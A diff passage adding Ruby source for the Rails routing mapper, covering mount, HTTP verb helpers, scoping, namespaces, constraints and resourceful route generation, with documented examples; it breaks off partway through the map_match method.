+        # To customize this helper's name, use the +:as+ option:
+        #
+        #   mount(SomeRackApp => "some_route", as: "exciting")
+        #
+        # This will generate the +exciting_path+ and +exciting_url+ helpers
+        # which can be used to navigate to this mounted app.
+        def mount(app, options = nil)
+          if options
+            path = options.delete(:at)
+          elsif Hash === app
+            options = app
+            app, path = options.find { |k, _| k.respond_to?(:call) }
+            options.delete(app) if app
+          end
+
+          raise ArgumentError, "A rack application must be specified" unless app.respond_to?(:call)
+          raise ArgumentError, <<-MSG.strip_heredoc unless path
+            Must be called with mount point
+
+              mount SomeRackApp, at: "some_route"
+              or
+              mount(SomeRackApp => "some_route")
+          MSG
+
+          rails_app = rails_app? app
+          options[:as] ||= app_name(app, rails_app)
+
+          target_as       = name_for_action(options[:as], path)
+          options[:via] ||= :all
+
+          match(path, options.merge(to: app, anchor: false, format: false))
+
+          define_generate_prefix(app, target_as) if rails_app
+          self
+        end
+
+        def default_url_options=(options)
+          @set.default_url_options = options
+        end
+        alias_method :default_url_options, :default_url_options=
+
+        def with_default_scope(scope, &block)
+          scope(scope) do
+            instance_exec(&block)
+          end
+        end
+
+        # Query if the following named route was already defined.
+        def has_named_route?(name)
+          @set.named_routes.key? name
+        end
+
+        private
+          def rails_app?(app)
+            app.is_a?(Class) && app < Rails::Railtie
+          end
+
+          def app_name(app, rails_app)
+            if rails_app
+              app.railtie_name
+            elsif app.is_a?(Class)
+              class_name = app.name
+              ActiveSupport::Inflector.underscore(class_name).tr("/", "_")
+            end
+          end
+
+          def define_generate_prefix(app, name)
+            _route = @set.named_routes.get name
+            _routes = @set
+
+            script_namer = ->(options) do
+              prefix_options = options.slice(*_route.segment_keys)
+              prefix_options[:relative_url_root] = "".freeze
+
+              if options[:_recall]
+                prefix_options.reverse_merge!(options[:_recall].slice(*_route.segment_keys))
+              end
+
+              # We must actually delete prefix segment keys to avoid passing them to next url_for.
+              _route.segment_keys.each { |k| options.delete(k) }
+              _routes.url_helpers.send("#{name}_path", prefix_options)
+            end
+
+            app.routes.define_mounted_helper(name, script_namer)
+
+            app.routes.extend Module.new {
+              def optimize_routes_generation?; false; end
+
+              define_method :find_script_name do |options|
+                if options.key? :script_name
+                  super(options)
+                else
+                  script_namer.call(options)
+                end
+              end
+            }
+          end
+      end
+
+      module HttpHelpers
+        # Define a route that only recognizes HTTP GET.
+        # For supported arguments, see match[rdoc-ref:Base#match]
+        #
+        #   get 'bacon', to: 'food#bacon'
+        def get(*args, &block)
+          map_method(:get, args, &block)
+        end
+
+        # Define a route that only recognizes HTTP POST.
+        # For supported arguments, see match[rdoc-ref:Base#match]
+        #
+        #   post 'bacon', to: 'food#bacon'
+        def post(*args, &block)
+          map_method(:post, args, &block)
+        end
+
+        # Define a route that only recognizes HTTP PATCH.
+        # For supported arguments, see match[rdoc-ref:Base#match]
+        #
+        #   patch 'bacon', to: 'food#bacon'
+        def patch(*args, &block)
+          map_method(:patch, args, &block)
+        end
+
+        # Define a route that only recognizes HTTP PUT.
+        # For supported arguments, see match[rdoc-ref:Base#match]
+        #
+        #   put 'bacon', to: 'food#bacon'
+        def put(*args, &block)
+          map_method(:put, args, &block)
+        end
+
+        # Define a route that only recognizes HTTP DELETE.
+        # For supported arguments, see match[rdoc-ref:Base#match]
+        #
+        #   delete 'broccoli', to: 'food#broccoli'
+        def delete(*args, &block)
+          map_method(:delete, args, &block)
+        end
+
+        private
+          def map_method(method, args, &block)
+            options = args.extract_options!
+            options[:via] = method
+            match(*args, options, &block)
+            self
+          end
+      end
+
+      # You may wish to organize groups of controllers under a namespace.
+      # Most commonly, you might group a number of administrative controllers
+      # under an +admin+ namespace. You would place these controllers under
+      # the <tt>app/controllers/admin</tt> directory, and you can group them
+      # together in your router:
+      #
+      #   namespace "admin" do
+      #     resources :posts, :comments
+      #   end
+      #
+      # This will create a number of routes for each of the posts and comments
+      # controller. For <tt>Admin::PostsController</tt>, Rails will create:
+      #
+      #   GET       /admin/posts
+      #   GET       /admin/posts/new
+      #   POST      /admin/posts
+      #   GET       /admin/posts/1
+      #   GET       /admin/posts/1/edit
+      #   PATCH/PUT /admin/posts/1
+      #   DELETE    /admin/posts/1
+      #
+      # If you want to route /posts (without the prefix /admin) to
+      # <tt>Admin::PostsController</tt>, you could use
+      #
+      #   scope module: "admin" do
+      #     resources :posts
+      #   end
+      #
+      # or, for a single case
+      #
+      #   resources :posts, module: "admin"
+      #
+      # If you want to route /admin/posts to +PostsController+
+      # (without the <tt>Admin::</tt> module prefix), you could use
+      #
+      #   scope "/admin" do
+      #     resources :posts
+      #   end
+      #
+      # or, for a single case
+      #
+      #   resources :posts, path: "/admin/posts"
+      #
+      # In each of these cases, the named routes remain the same as if you did
+      # not use scope. In the last case, the following paths map to
+      # +PostsController+:
+      #
+      #   GET       /admin/posts
+      #   GET       /admin/posts/new
+      #   POST      /admin/posts
+      #   GET       /admin/posts/1
+      #   GET       /admin/posts/1/edit
+      #   PATCH/PUT /admin/posts/1
+      #   DELETE    /admin/posts/1
+      module Scoping
+        # Scopes a set of routes to the given default options.
+        #
+        # Take the following route definition as an example:
+        #
+        #   scope path: ":account_id", as: "account" do
+        #     resources :projects
+        #   end
+        #
+        # This generates helpers such as +account_projects_path+, just like +resources+ does.
+        # The difference here being that the routes generated are like /:account_id/projects,
+        # rather than /accounts/:account_id/projects.
+        #
+        # === Options
+        #
+        # Takes same options as <tt>Base#match</tt> and <tt>Resources#resources</tt>.
+        #
+        #   # route /posts (without the prefix /admin) to <tt>Admin::PostsController</tt>
+        #   scope module: "admin" do
+        #     resources :posts
+        #   end
+        #
+        #   # prefix the posts resource's requests with '/admin'
+        #   scope path: "/admin" do
+        #     resources :posts
+        #   end
+        #
+        #   # prefix the routing helper name: +sekret_posts_path+ instead of +posts_path+
+        #   scope as: "sekret" do
+        #     resources :posts
+        #   end
+        def scope(*args)
+          options = args.extract_options!.dup
+          scope = {}
+
+          options[:path] = args.flatten.join("/") if args.any?
+          options[:constraints] ||= {}
+
+          unless nested_scope?
+            options[:shallow_path] ||= options[:path] if options.key?(:path)
+            options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+          end
+
+          if options[:constraints].is_a?(Hash)
+            defaults = options[:constraints].select do |k, v|
+              URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Integer))
+            end
+
+            options[:defaults] = defaults.merge(options[:defaults] || {})
+          else
+            block, options[:constraints] = options[:constraints], {}
+          end
+
+          if options.key?(:only) || options.key?(:except)
+            scope[:action_options] = { only: options.delete(:only),
+                                       except: options.delete(:except) }
+          end
+
+          if options.key? :anchor
+            raise ArgumentError, "anchor is ignored unless passed to `match`"
+          end
+
+          @scope.options.each do |option|
+            if option == :blocks
+              value = block
+            elsif option == :options
+              value = options
+            else
+              value = options.delete(option) { POISON }
+            end
+
+            unless POISON == value
+              scope[option] = send("merge_#{option}_scope", @scope[option], value)
+            end
+          end
+
+          @scope = @scope.new scope
+          yield
+          self
+        ensure
+          @scope = @scope.parent
+        end
+
+        POISON = Object.new # :nodoc:
+
+        # Scopes routes to a specific controller
+        #
+        #   controller "food" do
+        #     match "bacon", action: :bacon, via: :get
+        #   end
+        def controller(controller)
+          @scope = @scope.new(controller: controller)
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+
+        # Scopes routes to a specific namespace. For example:
+        #
+        #   namespace :admin do
+        #     resources :posts
+        #   end
+        #
+        # This generates the following routes:
+        #
+        #       admin_posts GET       /admin/posts(.:format)          admin/posts#index
+        #       admin_posts POST      /admin/posts(.:format)          admin/posts#create
+        #    new_admin_post GET       /admin/posts/new(.:format)      admin/posts#new
+        #   edit_admin_post GET       /admin/posts/:id/edit(.:format) admin/posts#edit
+        #        admin_post GET       /admin/posts/:id(.:format)      admin/posts#show
+        #        admin_post PATCH/PUT /admin/posts/:id(.:format)      admin/posts#update
+        #        admin_post DELETE    /admin/posts/:id(.:format)      admin/posts#destroy
+        #
+        # === Options
+        #
+        # The +:path+, +:as+, +:module+, +:shallow_path+ and +:shallow_prefix+
+        # options all default to the name of the namespace.
+        #
+        # For options, see <tt>Base#match</tt>. For +:shallow_path+ option, see
+        # <tt>Resources#resources</tt>.
+        #
+        #   # accessible through /sekret/posts rather than /admin/posts
+        #   namespace :admin, path: "sekret" do
+        #     resources :posts
+        #   end
+        #
+        #   # maps to <tt>Sekret::PostsController</tt> rather than <tt>Admin::PostsController</tt>
+        #   namespace :admin, module: "sekret" do
+        #     resources :posts
+        #   end
+        #
+        #   # generates +sekret_posts_path+ rather than +admin_posts_path+
+        #   namespace :admin, as: "sekret" do
+        #     resources :posts
+        #   end
+        def namespace(path, options = {})
+          path = path.to_s
+
+          defaults = {
+            module:         path,
+            as:             options.fetch(:as, path),
+            shallow_path:   options.fetch(:path, path),
+            shallow_prefix: options.fetch(:as, path)
+          }
+
+          path_scope(options.delete(:path) { path }) do
+            scope(defaults.merge!(options)) { yield }
+          end
+        end
+
+        # === Parameter Restriction
+        # Allows you to constrain the nested routes based on a set of rules.
+        # For instance, in order to change the routes to allow for a dot character in the +id+ parameter:
+        #
+        #   constraints(id: /\d+\.\d+/) do
+        #     resources :posts
+        #   end
+        #
+        # Now routes such as +/posts/1+ will no longer be valid, but +/posts/1.1+ will be.
+        # The +id+ parameter must match the constraint passed in for this example.
+        #
+        # You may use this to also restrict other parameters:
+        #
+        #   resources :posts do
+        #     constraints(post_id: /\d+\.\d+/) do
+        #       resources :comments
+        #     end
+        #   end
+        #
+        # === Restricting based on IP
+        #
+        # Routes can also be constrained to an IP or a certain range of IP addresses:
+        #
+        #   constraints(ip: /192\.168\.\d+\.\d+/) do
+        #     resources :posts
+        #   end
+        #
+        # Any user connecting from the 192.168.* range will be able to see this resource,
+        # where as any user connecting outside of this range will be told there is no such route.
+        #
+        # === Dynamic request matching
+        #
+        # Requests to routes can be constrained based on specific criteria:
+        #
+        #    constraints(-> (req) { req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do
+        #      resources :iphones
+        #    end
+        #
+        # You are able to move this logic out into a class if it is too complex for routes.
+        # This class must have a +matches?+ method defined on it which either returns +true+
+        # if the user should be given access to that route, or +false+ if the user should not.
+        #
+        #    class Iphone
+        #      def self.matches?(request)
+        #        request.env["HTTP_USER_AGENT"] =~ /iPhone/
+        #      end
+        #    end
+        #
+        # An expected place for this code would be +lib/constraints+.
+        #
+        # This class is then used like this:
+        #
+        #    constraints(Iphone) do
+        #      resources :iphones
+        #    end
+        def constraints(constraints = {})
+          scope(constraints: constraints) { yield }
+        end
+
+        # Allows you to set default parameters for a route, such as this:
+        #   defaults id: 'home' do
+        #     match 'scoped_pages/(:id)', to: 'pages#show'
+        #   end
+        # Using this, the +:id+ parameter here will default to 'home'.
+        def defaults(defaults = {})
+          @scope = @scope.new(defaults: merge_defaults_scope(@scope[:defaults], defaults))
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+
+        private
+          def merge_path_scope(parent, child)
+            Mapper.normalize_path("#{parent}/#{child}")
+          end
+
+          def merge_shallow_path_scope(parent, child)
+            Mapper.normalize_path("#{parent}/#{child}")
+          end
+
+          def merge_as_scope(parent, child)
+            parent ? "#{parent}_#{child}" : child
+          end
+
+          def merge_shallow_prefix_scope(parent, child)
+            parent ? "#{parent}_#{child}" : child
+          end
+
+          def merge_module_scope(parent, child)
+            parent ? "#{parent}/#{child}" : child
+          end
+
+          def merge_controller_scope(parent, child)
+            child
+          end
+
+          def merge_action_scope(parent, child)
+            child
+          end
+
+          def merge_via_scope(parent, child)
+            child
+          end
+
+          def merge_format_scope(parent, child)
+            child
+          end
+
+          def merge_path_names_scope(parent, child)
+            merge_options_scope(parent, child)
+          end
+
+          def merge_constraints_scope(parent, child)
+            merge_options_scope(parent, child)
+          end
+
+          def merge_defaults_scope(parent, child)
+            merge_options_scope(parent, child)
+          end
+
+          def merge_blocks_scope(parent, child)
+            merged = parent ? parent.dup : []
+            merged << child if child
+            merged
+          end
+
+          def merge_options_scope(parent, child)
+            (parent || {}).merge(child)
+          end
+
+          def merge_shallow_scope(parent, child)
+            child ? true : false
+          end
+
+          def merge_to_scope(parent, child)
+            child
+          end
+      end
+
+      # Resource routing allows you to quickly declare all of the common routes
+      # for a given resourceful controller. Instead of declaring separate routes
+      # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
+      # actions, a resourceful route declares them in a single line of code:
+      #
+      #  resources :photos
+      #
+      # Sometimes, you have a resource that clients always look up without
+      # referencing an ID. A common example, /profile always shows the profile of
+      # the currently logged in user. In this case, you can use a singular resource
+      # to map /profile (rather than /profile/:id) to the show action.
+      #
+      #  resource :profile
+      #
+      # It's common to have resources that are logically children of other
+      # resources:
+      #
+      #   resources :magazines do
+      #     resources :ads
+      #   end
+      #
+      # You may wish to organize groups of controllers under a namespace. Most
+      # commonly, you might group a number of administrative controllers under
+      # an +admin+ namespace. You would place these controllers under the
+      # <tt>app/controllers/admin</tt> directory, and you can group them together
+      # in your router:
+      #
+      #   namespace "admin" do
+      #     resources :posts, :comments
+      #   end
+      #
+      # By default the +:id+ parameter doesn't accept dots. If you need to
+      # use dots as part of the +:id+ parameter add a constraint which
+      # overrides this restriction, e.g:
+      #
+      #   resources :articles, id: /[^\/]+/
+      #
+      # This allows any character other than a slash as part of your +:id+.
+      #
+      module Resources
+        # CANONICAL_ACTIONS holds all actions that does not need a prefix or
+        # a path appended since they fit properly in their scope level.
+        VALID_ON_OPTIONS  = [:new, :collection, :member]
+        RESOURCE_OPTIONS  = [:as, :controller, :path, :only, :except, :param, :concerns]
+        CANONICAL_ACTIONS = %w(index create new show update destroy)
+
+        class Resource #:nodoc:
+          attr_reader :controller, :path, :param
+
+          def initialize(entities, api_only, shallow, options = {})
+            @name       = entities.to_s
+            @path       = (options[:path] || @name).to_s
+            @controller = (options[:controller] || @name).to_s
+            @as         = options[:as]
+            @param      = (options[:param] || :id).to_sym
+            @options    = options
+            @shallow    = shallow
+            @api_only   = api_only
+            @only       = options.delete :only
+            @except     = options.delete :except
+          end
+
+          def default_actions
+            if @api_only
+              [:index, :create, :show, :update, :destroy]
+            else
+              [:index, :create, :new, :show, :update, :destroy, :edit]
+            end
+          end
+
+          def actions
+            if @only
+              Array(@only).map(&:to_sym)
+            elsif @except
+              default_actions - Array(@except).map(&:to_sym)
+            else
+              default_actions
+            end
+          end
+
+          def name
+            @as || @name
+          end
+
+          def plural
+            @plural ||= name.to_s
+          end
+
+          def singular
+            @singular ||= name.to_s.singularize
+          end
+
+          alias :member_name :singular
+
+          # Checks for uncountable plurals, and appends "_index" if the plural
+          # and singular form are the same.
+          def collection_name
+            singular == plural ? "#{plural}_index" : plural
+          end
+
+          def resource_scope
+            controller
+          end
+
+          alias :collection_scope :path
+
+          def member_scope
+            "#{path}/:#{param}"
+          end
+
+          alias :shallow_scope :member_scope
+
+          def new_scope(new_path)
+            "#{path}/#{new_path}"
+          end
+
+          def nested_param
+            :"#{singular}_#{param}"
+          end
+
+          def nested_scope
+            "#{path}/:#{nested_param}"
+          end
+
+          def shallow?
+            @shallow
+          end
+
+          def singleton?; false; end
+        end
+
+        class SingletonResource < Resource #:nodoc:
+          def initialize(entities, api_only, shallow, options)
+            super
+            @as         = nil
+            @controller = (options[:controller] || plural).to_s
+            @as         = options[:as]
+          end
+
+          def default_actions
+            if @api_only
+              [:show, :create, :update, :destroy]
+            else
+              [:show, :create, :update, :destroy, :new, :edit]
+            end
+          end
+
+          def plural
+            @plural ||= name.to_s.pluralize
+          end
+
+          def singular
+            @singular ||= name.to_s
+          end
+
+          alias :member_name :singular
+          alias :collection_name :singular
+
+          alias :member_scope :path
+          alias :nested_scope :path
+
+          def singleton?; true; end
+        end
+
+        def resources_path_names(options)
+          @scope[:path_names].merge!(options)
+        end
+
+        # Sometimes, you have a resource that clients always look up without
+        # referencing an ID. A common example, /profile always shows the
+        # profile of the currently logged in user. In this case, you can use
+        # a singular resource to map /profile (rather than /profile/:id) to
+        # the show action:
+        #
+        #   resource :profile
+        #
+        # This creates six different routes in your application, all mapping to
+        # the +Profiles+ controller (note that the controller is named after
+        # the plural):
+        #
+        #   GET       /profile/new
+        #   GET       /profile
+        #   GET       /profile/edit
+        #   PATCH/PUT /profile
+        #   DELETE    /profile
+        #   POST      /profile
+        #
+        # === Options
+        # Takes same options as +resources+.
+        def resource(*resources, &block)
+          options = resources.extract_options!.dup
+
+          if apply_common_behavior_for(:resource, resources, options, &block)
+            return self
+          end
+
+          with_scope_level(:resource) do
+            options = apply_action_options options
+            resource_scope(SingletonResource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+              yield if block_given?
+
+              concerns(options[:concerns]) if options[:concerns]
+
+              new do
+                get :new
+              end if parent_resource.actions.include?(:new)
+
+              set_member_mappings_for_resource
+
+              collection do
+                post :create
+              end if parent_resource.actions.include?(:create)
+            end
+          end
+
+          self
+        end
+
+        # In Rails, a resourceful route provides a mapping between HTTP verbs
+        # and URLs and controller actions. By convention, each action also maps
+        # to particular CRUD operations in a database. A single entry in the
+        # routing file, such as
+        #
+        #   resources :photos
+        #
+        # creates seven different routes in your application, all mapping to
+        # the +Photos+ controller:
+        #
+        #   GET       /photos
+        #   GET       /photos/new
+        #   POST      /photos
+        #   GET       /photos/:id
+        #   GET       /photos/:id/edit
+        #   PATCH/PUT /photos/:id
+        #   DELETE    /photos/:id
+        #
+        # Resources can also be nested infinitely by using this block syntax:
+        #
+        #   resources :photos do
+        #     resources :comments
+        #   end
+        #
+        # This generates the following comments routes:
+        #
+        #   GET       /photos/:photo_id/comments
+        #   GET       /photos/:photo_id/comments/new
+        #   POST      /photos/:photo_id/comments
+        #   GET       /photos/:photo_id/comments/:id
+        #   GET       /photos/:photo_id/comments/:id/edit
+        #   PATCH/PUT /photos/:photo_id/comments/:id
+        #   DELETE    /photos/:photo_id/comments/:id
+        #
+        # === Options
+        # Takes same options as <tt>Base#match</tt> as well as:
+        #
+        # [:path_names]
+        #   Allows you to change the segment component of the +edit+ and +new+ actions.
+        #   Actions not specified are not changed.
+        #
+        #     resources :posts, path_names: { new: "brand_new" }
+        #
+        #   The above example will now change /posts/new to /posts/brand_new.
+        #
+        # [:path]
+        #   Allows you to change the path prefix for the resource.
+        #
+        #     resources :posts, path: 'postings'
+        #
+        #   The resource and all segments will now route to /postings instead of /posts.
+        #
+        # [:only]
+        #   Only generate routes for the given actions.
+        #
+        #     resources :cows, only: :show
+        #     resources :cows, only: [:show, :index]
+        #
+        # [:except]
+        #   Generate all routes except for the given actions.
+        #
+        #     resources :cows, except: :show
+        #     resources :cows, except: [:show, :index]
+        #
+        # [:shallow]
+        #   Generates shallow routes for nested resource(s). When placed on a parent resource,
+        #   generates shallow routes for all nested resources.
+        #
+        #     resources :posts, shallow: true do
+        #       resources :comments
+        #     end
+        #
+        #   Is the same as:
+        #
+        #     resources :posts do
+        #       resources :comments, except: [:show, :edit, :update, :destroy]
+        #     end
+        #     resources :comments, only: [:show, :edit, :update, :destroy]
+        #
+        #   This allows URLs for resources that otherwise would be deeply nested such
+        #   as a comment on a blog post like <tt>/posts/a-long-permalink/comments/1234</tt>
+        #   to be shortened to just <tt>/comments/1234</tt>.
+        #
+        # [:shallow_path]
+        #   Prefixes nested shallow routes with the specified path.
+        #
+        #     scope shallow_path: "sekret" do
+        #       resources :posts do
+        #         resources :comments, shallow: true
+        #       end
+        #     end
+        #
+        #   The +comments+ resource here will have the following routes generated for it:
+        #
+        #     post_comments    GET       /posts/:post_id/comments(.:format)
+        #     post_comments    POST      /posts/:post_id/comments(.:format)
+        #     new_post_comment GET       /posts/:post_id/comments/new(.:format)
+        #     edit_comment     GET       /sekret/comments/:id/edit(.:format)
+        #     comment          GET       /sekret/comments/:id(.:format)
+        #     comment          PATCH/PUT /sekret/comments/:id(.:format)
+        #     comment          DELETE    /sekret/comments/:id(.:format)
+        #
+        # [:shallow_prefix]
+        #   Prefixes nested shallow route names with specified prefix.
+        #
+        #     scope shallow_prefix: "sekret" do
+        #       resources :posts do
+        #         resources :comments, shallow: true
+        #       end
+        #     end
+        #
+        #   The +comments+ resource here will have the following routes generated for it:
+        #
+        #     post_comments           GET       /posts/:post_id/comments(.:format)
+        #     post_comments           POST      /posts/:post_id/comments(.:format)
+        #     new_post_comment        GET       /posts/:post_id/comments/new(.:format)
+        #     edit_sekret_comment     GET       /comments/:id/edit(.:format)
+        #     sekret_comment          GET       /comments/:id(.:format)
+        #     sekret_comment          PATCH/PUT /comments/:id(.:format)
+        #     sekret_comment          DELETE    /comments/:id(.:format)
+        #
+        # [:format]
+        #   Allows you to specify the default value for optional +format+
+        #   segment or disable it by supplying +false+.
+        #
+        # === Examples
+        #
+        #   # routes call <tt>Admin::PostsController</tt>
+        #   resources :posts, module: "admin"
+        #
+        #   # resource actions are at /admin/posts.
+        #   resources :posts, path: "admin/posts"
+        def resources(*resources, &block)
+          options = resources.extract_options!.dup
+
+          if apply_common_behavior_for(:resources, resources, options, &block)
+            return self
+          end
+
+          with_scope_level(:resources) do
+            options = apply_action_options options
+            resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+              yield if block_given?
+
+              concerns(options[:concerns]) if options[:concerns]
+
+              collection do
+                get  :index if parent_resource.actions.include?(:index)
+                post :create if parent_resource.actions.include?(:create)
+              end
+
+              new do
+                get :new
+              end if parent_resource.actions.include?(:new)
+
+              set_member_mappings_for_resource
+            end
+          end
+
+          self
+        end
+
+        # To add a route to the collection:
+        #
+        #   resources :photos do
+        #     collection do
+        #       get 'search'
+        #     end
+        #   end
+        #
+        # This will enable Rails to recognize paths such as <tt>/photos/search</tt>
+        # with GET, and route to the search action of +PhotosController+. It will also
+        # create the <tt>search_photos_url</tt> and <tt>search_photos_path</tt>
+        # route helpers.
+        def collection
+          unless resource_scope?
+            raise ArgumentError, "can't use collection outside resource(s) scope"
+          end
+
+          with_scope_level(:collection) do
+            path_scope(parent_resource.collection_scope) do
+              yield
+            end
+          end
+        end
+
+        # To add a member route, add a member block into the resource block:
+        #
+        #   resources :photos do
+        #     member do
+        #       get 'preview'
+        #     end
+        #   end
+        #
+        # This will recognize <tt>/photos/1/preview</tt> with GET, and route to the
+        # preview action of +PhotosController+. It will also create the
+        # <tt>preview_photo_url</tt> and <tt>preview_photo_path</tt> helpers.
+        def member
+          unless resource_scope?
+            raise ArgumentError, "can't use member outside resource(s) scope"
+          end
+
+          with_scope_level(:member) do
+            if shallow?
+              shallow_scope {
+                path_scope(parent_resource.member_scope) { yield }
+              }
+            else
+              path_scope(parent_resource.member_scope) { yield }
+            end
+          end
+        end
+
+        def new
+          unless resource_scope?
+            raise ArgumentError, "can't use new outside resource(s) scope"
+          end
+
+          with_scope_level(:new) do
+            path_scope(parent_resource.new_scope(action_path(:new))) do
+              yield
+            end
+          end
+        end
+
+        def nested
+          unless resource_scope?
+            raise ArgumentError, "can't use nested outside resource(s) scope"
+          end
+
+          with_scope_level(:nested) do
+            if shallow? && shallow_nesting_depth >= 1
+              shallow_scope do
+                path_scope(parent_resource.nested_scope) do
+                  scope(nested_options) { yield }
+                end
+              end
+            else
+              path_scope(parent_resource.nested_scope) do
+                scope(nested_options) { yield }
+              end
+            end
+          end
+        end
+
+        # See ActionDispatch::Routing::Mapper::Scoping#namespace.
+        def namespace(path, options = {})
+          if resource_scope?
+            nested { super }
+          else
+            super
+          end
+        end
+
+        def shallow
+          @scope = @scope.new(shallow: true)
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+
+        def shallow?
+          !parent_resource.singleton? && @scope[:shallow]
+        end
+
+        # Matches a URL pattern to one or more routes.
+        # For more information, see match[rdoc-ref:Base#match].
+        #
+        #   match 'path' => 'controller#action', via: patch
+        #   match 'path', to: 'controller#action', via: :post
+        #   match 'path', 'otherpath', on: :member, via: :get
+        def match(path, *rest, &block)
+          if rest.empty? && Hash === path
+            options  = path
+            path, to = options.find { |name, _value| name.is_a?(String) }
+
+            raise ArgumentError, "Route path not specified" if path.nil?
+
+            case to
+            when Symbol
+              options[:action] = to
+            when String
+              if to =~ /#/
+                options[:to] = to
+              else
+                options[:controller] = to
+              end
+            else
+              options[:to] = to
+            end
+
+            options.delete(path)
+            paths = [path]
+          else
+            options = rest.pop || {}
+            paths = [path] + rest
+          end
+
+          if options.key?(:defaults)
+            defaults(options.delete(:defaults)) { map_match(paths, options, &block) }
+          else
+            map_match(paths, options, &block)
+          end
+        end
+
+        # You can specify what Rails should route "/" to with the root method:
+        #
+        #   root to: 'pages#main'
+        #
+        # For options, see +match+, as +root+ uses it internally.
+        #
+        # You can also pass a string which will expand
+        #
+        #   root 'pages#main'
+        #
+        # You should put the root route at the top of <tt>config/routes.rb</tt>,
+        # because this means it will be matched first. As this is the most popular route
+        # of most Rails applications, this is beneficial.
+        def root(path, options = {})
+          if path.is_a?(String)
+            options[:to] = path
+          elsif path.is_a?(Hash) && options.empty?
+            options = path
+          else
+            raise ArgumentError, "must be called with a path and/or options"
+          end
+
+          if @scope.resources?
+            with_scope_level(:root) do
+              path_scope(parent_resource.path) do
+                match_root_route(options)
+              end
+            end
+          else
+            match_root_route(options)
+          end
+        end
+
+        private
+
+          def parent_resource
+            @scope[:scope_level_resource]
+          end
+
+          def apply_common_behavior_for(method, resources, options, &block)
+            if resources.length > 1
+              resources.each { |r| send(method, r, options, &block) }
+              return true
+            end
+
+            if options.delete(:shallow)
+              shallow do
+                send(method, resources.pop, options, &block)
+              end
+              return true
+            end
+
+            if resource_scope?
+              nested { send(method, resources.pop, options, &block) }
+              return true
+            end
+
+            options.keys.each do |k|
+              (options[:constraints] ||= {})[k] = options.delete(k) if options[k].is_a?(Regexp)
+            end
+
+            scope_options = options.slice!(*RESOURCE_OPTIONS)
+            unless scope_options.empty?
+              scope(scope_options) do
+                send(method, resources.pop, options, &block)
+              end
+              return true
+            end
+
+            false
+          end
+
+          def apply_action_options(options)
+            return options if action_options? options
+            options.merge scope_action_options
+          end
+
+          def action_options?(options)
+            options[:only] || options[:except]
+          end
+
+          def scope_action_options
+            @scope[:action_options] || {}
+          end
+
+          def resource_scope?
+            @scope.resource_scope?
+          end
+
+          def resource_method_scope?
+            @scope.resource_method_scope?
+          end
+
+          def nested_scope?
+            @scope.nested?
+          end
+
+          def with_scope_level(kind) # :doc:
+            @scope = @scope.new_level(kind)
+            yield
+          ensure
+            @scope = @scope.parent
+          end
+
+          def resource_scope(resource)
+            @scope = @scope.new(scope_level_resource: resource)
+
+            controller(resource.resource_scope) { yield }
+          ensure
+            @scope = @scope.parent
+          end
+
+          def nested_options
+            options = { as: parent_resource.member_name }
+            options[:constraints] = {
+              parent_resource.nested_param => param_constraint
+            } if param_constraint?
+
+            options
+          end
+
+          def shallow_nesting_depth
+            @scope.find_all { |node|
+              node.frame[:scope_level_resource]
+            }.count { |node| node.frame[:scope_level_resource].shallow? }
+          end
+
+          def param_constraint?
+            @scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
+          end
+
+          def param_constraint
+            @scope[:constraints][parent_resource.param]
+          end
+
+          def canonical_action?(action)
+            resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
+          end
+
+          def shallow_scope
+            scope = { as: @scope[:shallow_prefix],
+                      path: @scope[:shallow_path] }
+            @scope = @scope.new scope
+
+            yield
+          ensure
+            @scope = @scope.parent
+          end
+
+          def path_for_action(action, path)
+            return "#{@scope[:path]}/#{path}" if path
+
+            if canonical_action?(action)
+              @scope[:path].to_s
+            else
+              "#{@scope[:path]}/#{action_path(action)}"
+            end
+          end
+
+          def action_path(name)
+            @scope[:path_names][name.to_sym] || name
+          end
+
+          def prefix_name_for_action(as, action)
+            if as
+              prefix = as
+            elsif !canonical_action?(action)
+              prefix = action
+            end
+
+            if prefix && prefix != "/" && !prefix.empty?
+              Mapper.normalize_name prefix.to_s.tr("-", "_")
+            end
+          end
+
+          def name_for_action(as, action)
+            prefix = prefix_name_for_action(as, action)
+            name_prefix = @scope[:as]
+
+            if parent_resource
+              return nil unless as || action
+
+              collection_name = parent_resource.collection_name
+              member_name = parent_resource.member_name
+            end
+
+            action_name = @scope.action_name(name_prefix, prefix, collection_name, member_name)
+            candidate = action_name.select(&:present?).join("_")
+
+            unless candidate.empty?
+              # If a name was not explicitly given, we check if it is valid
+              # and return nil in case it isn't. Otherwise, we pass the invalid name
+              # forward so the underlying router engine treats it and raises an exception.
+              if as.nil?
+                candidate unless candidate !~ /\A[_a-z]/i || has_named_route?(candidate)
+              else
+                candidate
+              end
+            end
+          end
+
+          def set_member_mappings_for_resource # :doc:
+            member do
+              get :edit if parent_resource.actions.include?(:edit)
+              get :show if parent_resource.actions.include?(:show)
+              if parent_resource.actions.include?(:update)
+                patch :update
+                put   :update
+              end
+              delete :destroy if parent_resource.actions.include?(:destroy)
+            end
+          end
+
+          def api_only? # :doc:
+            @set.api_only?
+          end
+
+          def path_scope(path)
+            @scope = @scope.new(path: merge_path_scope(@scope[:path], path))
+            yield
+          ensure
+            @scope = @scope.parent
+          end
+
+          def map_match(paths, options)
+            if options[:on] && !VALID_ON_OPTIONS.include?(options[:on])
+              raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
+            end
+
+            if @scope[:to]
+              options[:to] ||= @scope[:to]
+            end
+
+            if @scope[:controller] && @scope[:action]
+              options[:to] ||= "#{@scope[:controller]}##{@scope[:action]}"
+            end
+
+            controller = options.delete(:controller) || @scope[:controller]
+            option_path = options.delete :path
+            to = options.delete :to
+            via = Mapping.check_via Array(options.delete(:via) {
+              @scope[:via]
+            })
+            formatted = options.delete(:format) { @scope[:format] }
+            anchor = options.delete(:anchor) { true }
+            options_constraints = options.delete(:constraints) || {}
+
+            path_types = paths.group_by(&:class)
+            path_types.fetch(String, []).each do |_path|
+              route_options = options.dup
+              if _path && option_path
